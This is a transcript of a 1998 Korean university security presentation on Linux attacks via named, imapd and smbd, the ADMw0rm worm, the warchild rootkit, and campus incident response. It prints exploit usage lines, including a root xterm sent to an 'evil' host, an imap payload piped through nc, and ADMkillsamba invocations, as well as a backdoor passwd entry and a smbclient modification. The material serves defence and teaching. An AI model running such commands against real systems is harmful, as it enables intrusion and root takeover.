리눅스와 보안
This presentation is the property of its rightful owner.
Sponsored Links
1 / 34

리눅스와 보안 PowerPoint PPT Presentation


  • 56 Views
  • Uploaded on
  • Presentation posted in: General

리눅스와 보안. PLUS 오태호. 목차 (1). 리눅스란 ? 리눅스가 최근 보안상 문제가 되는 이유 최근 외부 사용자 공격 유형 named 를 이용한 공격 imapd 를 이용한 공격 smbd 를 이용한 공격. 목차 (2). 최근 리눅스 해킹사건 mscan imapd 에 의한 해킹사건 named 에 의한 해킹사건 리눅스 보안에 대한 대책. 리눅스란 ?. 핀란드에 있는 Linus Torvalds 라는 대학생이 만든 PC 에서 사용 가능한 UNIX clone

Download Presentation

리눅스와 보안

An Image/Link below is provided (as is) to download presentation

Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author.While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server.


- - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - -

Presentation Transcript


5138032

리눅스와 보안

PLUS

오태호


5138032

목차(1)

  • 리눅스란?

  • 리눅스가 최근 보안상 문제가 되는 이유

  • 최근 외부 사용자 공격 유형

    • named를 이용한 공격

    • imapd를 이용한 공격

    • smbd를 이용한 공격


5138032

목차(2)

  • 최근 리눅스 해킹사건

    • mscan

    • imapd에 의한 해킹사건

    • named에 의한 해킹사건

  • 리눅스 보안에 대한 대책


5138032

리눅스란?

  • 핀란드에 있는 Linus Torvalds라는 대학생이 만든 PC에서 사용 가능한 UNIX clone

  • 커널(kernel)의 소스가 완전히 공개되어 있고 PC에서 사용할 수 있기 때문에 해커가 애용하는 OS


5138032

리눅스가 최근 보안상 문제가 되는 이유(1)

  • OS내부 구조가 완전히 공개되어 있음

    • 리눅스 커널(kernel)은 누구나 소스를 구해서 분석할 수 있음

  • 리눅스 사용자의 급속한 증가

    • 가격이 저렴함

    • 성능이 뛰어남

    • 사용방법이 쉬워짐

    • 잡지사가 리눅스CD 배포에 기여 ^^;;


5138032

리눅스가 최근 보안상 문제가 되는 이유(2)

  • 보안 구멍이 발견되면 그것을 이용한 공격 도구는 리눅스용이 가장 먼저 만들어 짐

* 참고사항

Alzza Redhat Linux 5.0 Patch man II 배포1998년 3월

named(bind)버그 발표 (CERT)1998년 4월 8일

named를 이용한 linux용 공격 도구 발견됨1998년 5월 19일

named를 이용한 포항공대 공격 흔적 발견1998년 7월 1일


5138032

최근 리눅스 외부 사용자 공격 유형(1)

  • named

    • Redhat Linux 5.0에 포함

    • inverse query할 때 buffer overflow가능

    • CA-98.05.bind_problems 참고

  • imapd

    • Redhat Linux 4.0에 포함

    • username을 입력 받을 때 buffer overflow가능

    • CA-97.09.imap_pop 참고


5138032

최근 리눅스 외부 사용자 공격 유형(2)

  • smbd

    • Redhat Linux 4.2에 포함

    • password를 입력 받을 때 buffer overflow가능


Named 1

evil

victim1

victim2

w0rm계정 추가

/etc/hosts.deny삭제

자신을 실행 다른 host 공격

/tmp/.w0rm shell생성

w0rm으로 로그인

자신을 전송받음

email을 보냄

named를 이용한 공격(1)

  • ADMw0rm

자신을 /tmp/.w0rm0r에 저장

named를 실행

w0rm계정 추가

host정보를 /tmp/.X11x에 저장

/tmp/.X11x를 index.html로 복사

/tmp/.w0rm과 /var/log를 삭제

로그아웃


Named 2

named를 이용한 공격(2)

  • ADMw0rm 분석

    • startup script

1) test, Hnamed, gimmeRAND, scanco, remotecmd를 컴파일한다.

2) test, Hnamed, gimmeRAND, scanco, remotecmd, gimmeIP, incremental, ADMw0rm을 ADMw0rm.tgz라는 이름으로 압축한다.

3) /tmp/.w0rm0r 디렉터리를 만들고 ADMw0rm.tgz를 복사한다.

4) w0rm::2666:777:ADM Inet W0rm:/:/bin/sh을 /etc/passwd에 추가한다.

5) ADMw0rm을 실행시킨다. (background)


Named 3

named를 이용한 공격(3)

  • ADMw0rm script(1)

1) 공격하고자 하는 호스트를 선택한다.

2) 호스트가 named공격이 가능한지 검사한다.

3) 공격이 가능하다면 Hnamed로 /etc/passwd에 빈 한 줄과 함께 w0rm::2666:777:ADM Inet w0rm:/:/bin/sh 을 추가하고 /tmp/.w0rm이라는 이름의 setuid root shell을 만들고 /etc/hosts.deny를 삭제한다.

4) 목표 호스트에 w0rm으로 로그인한다.

5) root권한으로 named를 실행시킨다. ( Hnamed를 이용해서 named를 공격하면 named가 crash되어 버리기 때문)

6) /tmp/.X11x에 "The ADM Inet w0rm is here !"라는 내용을 html형태로 저장한다.

7) /tmp/.w0rm0r 디렉터리를 만든다.

8) /tmp/w0rmishere 파일이 존재하는지 검사한다.


Named 4

named를 이용한 공격(4)

  • ADMw0rm script(2)

9) 파일이 존재하면 60초 후에 /var/log와 /tmp/.w0rm을 삭제한다. (background)

10) 파일이 존재하면 로그아웃한다.

11) 파일이 존재하지 않으면 ftp로 자신이 들어왔던 호스트에 w0rm으로 접속해서 /tmp/.w0rm0r/ADMw0rm.tgz를 전송받는다.

12) ADMw0rm.tgz 압축파일을 푼다.

13) /tmp/w0rmishere 파일을 생성시킨다.

14) ADMw0rm을 실행시킨다. (background)

15) ADMw0rm을 startup을 실행시킨 사람한테 현재 호스트의 IP를 email로 보낸다.

16) 60초 후에 /var/log와 /tmp/.w0rm을 삭제한다. (background)


Named 5

named를 이용한 공격(5)

  • ADMw0rm script(3)

17) find로 index.html 파일을 찾아서 /tmp/.X11x를 index.html로 복사한다. (background)

18) 로그아웃한다.


Named 6

named를 이용한 공격(6)

  • Hnamed

    • 사용법 : Hnamed <목표 호스트> <쉘 명령어>

      • 목표 호스트에서 임의의 쉘 명령어를 root권한으로 실행시킬 수 있음

      • 예) Hnamed victim.postech.ac.kr /usr/X11R6/bin/xterm -display evil.postech.ac.kr:0.0

      • 한 번 실행하면 named가 crash되기 때문에 두 번 사용할 수 없음.


Imapd

imapd를 이용한 공격

  • imap

    • 사용법 : imap <offset>

      • offset의 값에 따라 buffer overflow를 위한 데이터가 생성 되서 standard output으로 출력

      • 예) ( imap 0 ; cat ) | nc victim.postech.ac.kr 143


Smbd 1

smbd를 이용한 공격(1)

  • ADMkillsamba

    • 사용법 : ADMkillsamba R <목표 호스트 IP> <netbios 이름> <공격 호스트 IP> <buffer size> <offset size>

      • buffer size와 offset size를 바꿔서 계속 시도해서 성공하면 목표 호스트에서 root권한으로 실행시킨 xterm이 공격 호스트에 나타남

      • 예) ADMkillsamba R 141.223.124.33 VICTIM 141.223.124.30 3081 2400


Smbd 2

smbd를 이용한 공격(2)

  • ADMkillsamba를 이용해서 호스트를 공격하려면 패스워드를 비정상적으로 길게 보낼 수 있는 smbclient가 필요함

* 패스워드를 길게 보낼 수 있는 smbclient 만드는 방법

1) samba source code를 다운받는다.

2) smb.h에서 typedef char pstring[1024];를 typedef char pstring[20000];으로 고친다.

3) make smbclient를 실행한다.


Mscan

mscan

  • 다수의 호스트에 대해 최근에 알려진 몇 가지 보안 취약점을 외부에서 검사해서 알려 주는 프로그램

  • 최근 일주일에 한번정도 외부에서 mscan을 사용해 포항공대를 공격하려는 시도를 함

  • 예) mscan -z postech.ac.kr -a > mscan.log


Imapd 1

imapd에 의한 해킹사건(1)

  • 이탈리아의 정체불명의 해커가 포항공대의 x***를 imapd의 버그를 이용 해킹한 사건

  • 별다른 피해는 주지 않았지만 x***를 중간 경유지로 삼아서 다른 여러 곳을 해킹함


Imapd 2

imapd에 의한 해킹사건(2)

  • x***에서 해커가 한 행동

    • /etc/passwd 에 dark라는 id를 추가함

    • /.bash_history를 /dev/null로 링크시킴

    • /etc/securetty를 수정해 외부에서 superuser접속 허용하게 함

    • /tmp 에 zgr, bnc를 설치

      • zgr은 /var/log/wtmp, /var/run/utmp, /var/log/lastlog에서 특정 사용자의 기록을 지움 (진짜 이름은 Zap2)


Imapd 3

imapd에 의한 해킹사건(3)

  • bnc는 irc를 사용할 때 자신의 위치를 숨길 수 있게 해 주는 프로그램

  • 미국 www.g***.org의 파일 시스템을 mount해서 해킹 시도

  • 국내 K대학에 있는 k***에 imapd를 이용해 해킹해서 k***에서 스니퍼(sniffer)를 사용해 k***주변 사용자의 id와 password를 알아냄

    • 이때 top과 ps를 자신의 프로그램으로 바꿔서 sniffer가 top이나 ps로 확인이 불가능하게 만들었음


  • Imapd 4

    imapd에 의한 해킹사건(4)

    • 일본 N대학의 s***을 해킹 시도

    • 국내 C대학의 t***를 imapd를 이용해 해킹해서 국내 K대학에서 한 것과 같은 행동을 함

  • dark라는 id를 사용하는 이 해커는 1998년 5월 29일부터 6월 23일까지 거의 매일 이탈리아의 ISP를 통해 포항공대 x***에 접속해서 다른 여러 곳을 해킹함


  • Imapd 5

    imapd에 의한 해킹사건(5)

    • 해커수사대에 신고

    • x***에 dark가 다시 들어오지 못하게 하고 사건을 마무리 함


    Named 11

    named에 의한 해킹사건(1)

    • 멕시코에 있는 I대학 j***에서 포항공대 전체 호스트를 mscan을 이용해 조사한 흔적 발견1998/06/29

    • PLUS에서는 mscan으로 조사해서 위험한 결과가 나온 호스트에 named, imapd등의 버그를 빨리 패치할 것을 긴급 지시 1998/07/01


    Named 21

    named에 의한 해킹사건(2)

    • named를 아직 패치하지 않았던 호스트 중 4개의 호스트에서 해커가 해킹한 흔적 발견1998/07/02

    • 4개의 호스트를 해킹한 해커는 모든 호스트를 같은 방법으로 해킹했고 해킹에 성공한 후의 행동으로 미루어 봐서 동일범으로 추정됨


    Named 31

    named에 의한 해킹사건(3)

    • 해커가 4개의 호스트에서 한 행동

      • password가 null인 kaka라는 id와 root권한을 가진 rewt라는 id를 /etc/passwd에 추가

      • named를 패치해서 다른 해커가 named를 이용해서 해킹하지 못하게 함

      • warchild rootkit을 s***.co.nz에서 ftp로 받아와서 /dev/xdd21에 설치

      • 자신이 행동한 모든 기록을 삭제


    Named 41

    named에 의한 해킹사건(4)

    • warchild rootkit

      • 인터넷에서 구할 수 있는 rootkit을 warchild라는 별명을 가진 사람이 개조한 것으로 추정됨

      • chfn, chsh, dir, du, in.idserv, in.inetd, in.rshd, ifconfig, login, ls, netstat ,passwd, ps, pstree, syslogd, tcpd, top, vdir로 구성되어 있음


    Named 51

    named에 의한 해킹사건(5)

    • 프로그램을 설치할 때는 기존 프로그램과 시간을 똑같이 해서 프로그램이 바뀐 사실을 알기 힘들게 하며 나중에 정리를 하기 위해 uninstall정보도 저장

    • 프로그램의 설치가 모두 끝나면 더 이상 필요 없게 된 프로그램은 모두 삭제


    Named 61

    named에 의한 해킹사건(6)

    • warchild rootkit의 프로그램별 분석

      • ps, pstree, top : /dev/edc1에 등록되어 있는 프로세스를 보이지 않게 함

      • netstat : /usr/src/linux/arch/alpha/lib/.lib/.1addr에 등록되에 있는 주소를 보이지 않게 함

      • dir, du, ls, vdir : /dev/edc3에 등록되어 있는 파일을 보이지 않게 함


    Named 7

    named에 의한 해킹사건(7)

    • syslogd : /dev/edc4에 등록되어 있는 기록을 기록하지 않음

    • ifconfig : 스니퍼를 실행시키고 있다는 사실을 보이지 않게 함

    • in.idserv : 스니퍼의 일종으로 스니퍼 결과는 /dev/xdd21/wrksn1ff에 저장됨

    • login : id에 m***, password에 ***a로 입력하면 root로 로그인됨


    Named 8

    named에 의한 해킹사건(8)

    • in.inetd : 510 port에서 기다리는 서버로서 password를 입력 받은 후 rootshell을 spawn함

    • 나머지 프로그램들은 아직 어떤 역할을 하는지 자세히 모르겠음

  • 이번 해킹 사건은 PLUS의 빠른 대응으로 인해 조기에 공격을 막을 수 있었지만 해킹을 당한 시스템 관리자들의 너무 성급한 대응으로 해커 추적에는 실패함


  • 5138032

    리눅스 보안에 대한 대책(1)

    • named의 빠른 패치

      • /etc/rc.d/init.d/named stop

      • chmod 000 /usr/sbin/named

    • imapd의 빠른 패치

      • vi /etc/inetd.conf

        • imap으로 시작하는 행을 찾아서 #로 comment처리 한다.

      • killall -HUP inetd


    5138032

    리눅스 보안에 대한 대책(2)

    • smbd의 빠른 패치

      • /etc/rc.d/init.d/smb stop

      • chmod 000 /usr/sbin/smbd

    • mscan으로 scan을 당했을 때 남는 기록

      • /var/log/secure에 기록이 남음

    Jul 5 11:50:48 victim imapd[8580]: connect from 141.223.**.**

    Jul 5 11:50:48 victim ipop3d[8581]: connect from 141.223.**.**

    Jul 5 11:50:48 victim in.telnetd[8582]: connect from 141.223.**.**


    5138032

    리눅스 보안에 대한 대책(3)

    • password가 null인 계정은 만들지 않음

    • 항상 최신의 프로그램을 사용

    • 필요 없는 프로그램은 사용하지 않음

    • 보안 관련 공지를 자주 확인

      • http://www.redhat.com/support/docs/rhl/

    • 자신의 컴퓨터를 해킹해도 해커가 얻을 것이 없다는 생각을 하지 않음


  • Login